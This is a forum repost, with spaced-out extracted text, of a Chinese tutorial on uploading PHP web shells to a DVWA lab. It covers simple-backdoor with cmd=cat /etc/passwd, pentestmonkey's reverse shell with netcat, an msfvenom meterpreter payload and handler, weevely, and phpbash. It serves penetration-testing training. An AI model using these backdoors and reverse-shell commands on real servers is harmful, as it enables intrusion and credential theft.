搜索

[28073] 2020-01-18_WebShell上传渗透测试

文档创建者：s7ckTeam
浏览次数：3
最后更新：2025-01-19
2020-01-18_WebShell上传渗透测试 W e b   S h e l l 上 传   渗 透 测 试 O t s 安 全   2 0 2 0 - 0 1 - 1 8 要 求 要 求 攻 击 者 ： K a l i   L i n u x 目 标 ： D V W A 的 P e n t e s t e r 网 站 P H P   W e b   S h e l l 简 介 简 介 W e b   S h e l l 是 用 多 种 语 言 编 码 的 脚 本 ， 例 如 P H P ， P y t h o n ， A S P ， P e r l 等 ， 这 些 脚 本 通 过 将 其 上 传 到 W e b 服 务 器 上 进 一 步 用 作 后 门 ， 以 在 任 何 服 务 器 中 进 行 非 法 访 问 。 一 旦 后 门 上 传 到 目 标 ， 攻 击 者 就 可 以 直 接 执 行 读 写 操 作 ， 您 可 以 编 辑 任 何 文 件 以 删 除 服 务 器 文 件 。 今 天 ， 我 们 将 探 索 K a l i L i n u x 等 中 可 用 的 各 种 p h p   W e b   S h e l l 。 因 此 ， 让 我 们 开 始 吧 。 K a l i   L i n u x 内 置 了 P H P 脚 本 ， 可 将 它 们 用 作 后 门 以 协 助 笔 测 试 工 作 。 它 们 存 储 在 /   u s r   /   s h a r e   /   w e b s h e l l s   /   p h p 中 ， 中 ， 并 且 笔 测 试 器 可 以 在 不 浪 费 时 间 为 恶 意 脚 本 编 写 P H P 代 码 的 情 况 下 使 用 它 们 。 简 单 的 b a c k d o o r . p h p q s d - p h p 后 门 W e b   S h e l l p h p - r e v e r s e - s h e l l . p h p S i m p l e b a c k d o o r . p h p 外 壳 外 壳 S i m p l e - b a c k d o o r . p h p 是 一 种 W e b 外 壳 ， 一 旦 注 入 “   J o h n   T r o o n ” 制 作 的 W e b 服 务 器 和 脚 本 中 ， 便 可 以 生 成 远 程 代 码 执 行 。 如 下 图 所 示 ， 它 已 经 可 以 在 K a l i 的 /   u s r   /   s h a r e   /   w e b   s h e l l s   /   p h p 文 件 夹 中 访 问 了 ， 然 后 ， 我 们 将 运 行 l s   - a l 命 令 来 检 查 赋 予 文 件 的 权 限 。 1 2 c d   / u s r / s h a r e / w e b s h e l l s / p h p l s   - a l 现 在 ， 您 必 须 找 到 一 种 在 应 用 程 序 中 上 载 S h e l l 的 方 法 。 因 为 我 们 必 须 为 P e n t e s t e r s 做 所 有 这 些 W e b ， 所 以 我 们 将 首 先 尝 试 在 此 处 上 传 简 单 的 后 门 p h p   s h e l l （ 已 在 k a l i 中 提 供 ） ， 然 后 单 击 “ 发 送 文 件 ” 以 上 传 该 s h e l l 。
如 您 所 见 ， 我 们 已 经 成 功 上 传 了 恶 意 p h p 文 件 ， 并 收 到 了 上 传 文 件 的 超 链 接 。 因 此 ， 我 们 尝 试 访 问 s i m p l e - b a c k d o o r . p h p 并 获 得 以 下 输 出 。 正 如 我 们 可 以 看 到 的 ， “   c m d   =   c a t   +   /   e t c   /   p a s s w d ” 是 远 程 代 码 执 行 的 明 确 指 示 。 因 此 ， 让 我 们 尝 试 运 行 c a t   +   /   e t c   /   p a s s w d 来 检 索 服 务 器 的 所 有 密 码 。 1 c m d = c a t + / e t c / p a s s w d 结 果 ， 我 们 提 取 了 p a s s w d 文 件 的 所 有 记 录 ， 因 此 我 们 可 以 执 行 l s ， c p 等 任 何 命 令 ， 因 此 可 以 利 用 R E C 获 得 W e b   S h e l l 。
q s d - p h p 后 门 外 壳 后 门 外 壳 对 W e b   S h e l l 的 利 用 通 常 被 认 为 是 后 门 ， 攻 击 者 可 以 利 用 它 来 远 程 访 问 和 控 制 服 务 器 ， 而 q s d - p h p 后 门 S h e l l 是 一 种 后 门 ， 它 为 执 行 系 统 命 令 和 “   D a n i e l ” 编 写 的 精 彩 脚 本 提 供 了 平 台 柏 林 ” 。 如 您 所 见 ， 我 们 已 经 成 功 上 传 了 q s d - p h p - b a c k d o o r . p h p 文 件 。 然 后 像 上 一 步 一 样 尝 试 访 问 q s d - p h p - b a c k d o o r . p h p ， 您 将 发 现 如 下 图 所 示 的 内 容 。 在 这 里 ， 您 可 以 执 行 目 录 遍 历 ， 还 可 以 通 过 输 入 命 令 并 单 击 执 行 按 钮 直 接 访 问 W e b 服 务 器 目 录 。
如 您 所 见 ， 我 们 直 接 访 问 了 当 前 目 录 ， 而 没 有 执 行 任 何 系 统 命 令 。 我 们 还 可 以 执 行 任 意 系 统 命 令 ， 因 为 该 后 门 提 供 了 一 个 平 台 来 执 行 s h e l l 命 令 ， 例 如 c a t   /   e t c   /   p a s s w d ， l s   - a l 等 。 我 们 还 可 以 同 时 运 行 两 个 命 令 并 查 看 结 果 。
如 您 所 见 ， 我 们 已 经 成 功 获 得 了 结 果 。 P H P 反 向 外 壳 反 向 外 壳 现 在 轮 到 我 们 的 下 一 个 p h p   W e b   S h e l l ， 即 p h p - r e v e r s e - s h e l l . p h p ， 它 将 打 开 从 W e b 服 务 器 到 由 “   p e n t e s t m o n k e y ” 制 作 的 主 机 和 脚 本 的 出 站 T C P 连 接 。 一 个 外 壳 程 序 将 附 加 到 T C P 连 接 （ 反 向 T C P 连 接 ） 。 您 可 以 使 用 此 脚 本 运 行 交 互 式 程 序 ， 例 如 t e l n e t ， s s h 等 。 它 与 其 他 W e b   S h e l l 脚 本 不 同 ， 通 过 它 您 可 以 发 送 单 个 命 令 ， 然 后 返 回 输 出 。 为 此 ， 我 们 需 要 通 过 n a n o 打 开 此 脚 本 1 n a n o   p h p - r e v e r s e - s h e l l . p h p
在 这 里 ， 我 们 需 要 提 供 L I S T E N _ I P （ K a l i   L i n u x ） ， 我 们 可 以 在 其 中 设 置 连 接 和 L I S T E N _ P O R T 编 号 。   现 在 ， 我 们 需 要 上 传 此 W e b   S h e l l ， 以 获 取 反 向 连 接 。 因 此 ， 我 们 将 上 传 恶 意 文 件 ， 另 一 方 面 ， 在 新 终 端 内 启 动 n e t c a t 侦 听 器 。 我 们 可 以 看 到 它 已 成 功 上 传 。
现 在 ， 一 旦 您 执 行 了 上 载 的 文 件 ， 并 且 一 切 顺 利 ， 则 W e b 服 务 器 应 该 已 经 将 反 向 s h e l l 扔 回 了 n e t c a t 侦 听 器 。 您 可 以 验 证 我 们 是 否 成 功 安 装 了 外 壳 。 使 用 使 用 M S F v e n o m 的 的 P H P 后 门 后 门   我 们 也 可 以 借 助 m s f v e n o m 生 成 一 个 p h p   w e b   s h e l l 。 因 此 ， 我 们 编 写 以 下 命 令 使 用 m s f v e n o m 生 成 原 始 格 式 的 恶 意 p h p 代 码 。 1 m s f v e n o m   - p   p h p / m e t e r p r e t e r / r e v e r s e _ t c p   l h o s t = 1 9 2 . 1 6 8 . 1 . 1 0 6   l p o r t = 4 4 4 4   R 然 后 复 制 代 码 并 以 m e t e r . p h p 的 名 称 保 存 现 在 ， 我 们 将 在 D V W A 实 验 室 中 上 传 此 恶 意 S h e l l ， 以 获 取 反 向 连 接 。 现 在 ， 您 可 以 从 屏 幕 截 图 中 看 到 “   m e t e r . p h p 成 功 上
传 ” 消 息 ， 这 意 味 着 我 们 的 p h p 后 门 已 被 有 效 上 传 。 为 了 执 行 外 壳 程 序 ， 我 们 将 打 开 D V W A 的 U R L 。 同 时 ， 我 们 将 启 动 多 处 理 程 序 ， 在 此 我 们 将 获 得 m e t e r p r e t e r   s h e l l ， 并 在 需 要 指 定 l h o s t 和 l p o r t 以 获 得 反 向 连 接 的 地 方 运 行 以 下 命 令 。 1 2 3 4 5 6 u s e   e x p l o i t / m u l t i / h a n d l e r s e t   p a y l o a d   p h p / m e t e r p r e t e r / r e v e r s e _ t c p s e t   l h o s t   1 9 2 . 1 6 8 . 1 . 1 0 6 s e t   l p o r t   4 4 4 4 e x p l o i t s y s i n f o 一 旦 您 探 索 上 载 的 路 径 并 执 行 后 门 程 序 ， 它 将 为 您 提 供 一 个 计 价 器 会 话 。 W e e v e l y W e e v e l y 是 一 个 隐 身 的 P H P   I n t e r n e t   S h e l l ， 它 模 拟 了 T e l n e t 的 链 接 ， 并 设 计 用 于 远 程 服 务 器 管 理 和 渗 透 测 试 。 它 可 以 用 作 W e b S h e l l 的 隐 身 后 门 来 管 理 合 法 W e b 帐 户 ， 它 是 W e b 应 用 程 序 开 发 后 的 必 备 工 具 。 我 们 可 以 生 成 受 密 码 保 护 的 P H P 后 门 。 打 开 终 端 ， 输 入 w e e v e l y 以 生 成 一 个 p h p 后 门 ， 并 设 置 一 个 密 码 （ 在 本 例 中 为 “   r a j 1 2 3   ” ） ， 并 将 此 W e b   s h e l l 保 存
为 w e e v e l y . p h p 。 。 1 w e e v e l y   g e n e r a t e   r a j 1 2 3   w e e v e l y . p h p 现 在 ， 将 这 个 W e b   S h e l l 上 载 到 目 标 位 置 ， 因 为 在 本 例 中 ， 我 们 已 经 将 它 上 传 到 W e b 上 以 供 笔 测 试 人 员 使 用 ， 我 们 将 在 浏 览 器 中 打 开 U R L 来 执 行 W e b   S h e l l 。 键 入 以 下 指 令 来 发 起 W e b 服 务 器 攻 击 ， 并 使 用 密 码 r a j 1 2 3 将 复 制 的 U R L 放 入 W e e v e l y 命 令 中 ， 您 可 以 看 到 我 们 已 经 通 过 w e e v e l y 获 得 了 受 害 者 外 壳 程 序 。 我 们 可 以 通 过 i d 命 令 验 证 这 一 点 。 1 2 w e e v e l y   h t t p : / / 1 9 2 . 1 6 8 . 1 . 1 0 4 / u p l o a d / i m a g e s / w e e v e l y . p h p   r a j 1 2 3 i d 您 还 可 以 通 过 h e l p 命 令 检 查 w e e v e l y 的 所 有 功 能 。
P H P b a s h 外 壳 外 壳 P h p b a s h 是 一 种 自 主 ， 半 交 互 的 I n t e r n e t 外 壳 。 我 们 将 从 G i t H u b 下 载 该 文 件 ， 然 后 进 入 p h p b a s h 目 录 并 执 行 l s   - a l 命 令 以 检 查 可 用 文 件 。 1 2 3 g i t   c l o n e   h t t p s : / / g i t h u b . c o m / A r r e x e l / p h p b a s h . g i t c d   p h p b a s h / l s   - a l 因 此 ， 在 p h p b a s h 中 ， 我 们 找 到 了 一 个 名 为 “   p h p b a s h . p h p ” 的 p h p 脚 本 ， 并 将 该 脚 本 上 传 到 您 的 目 标 位 置
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理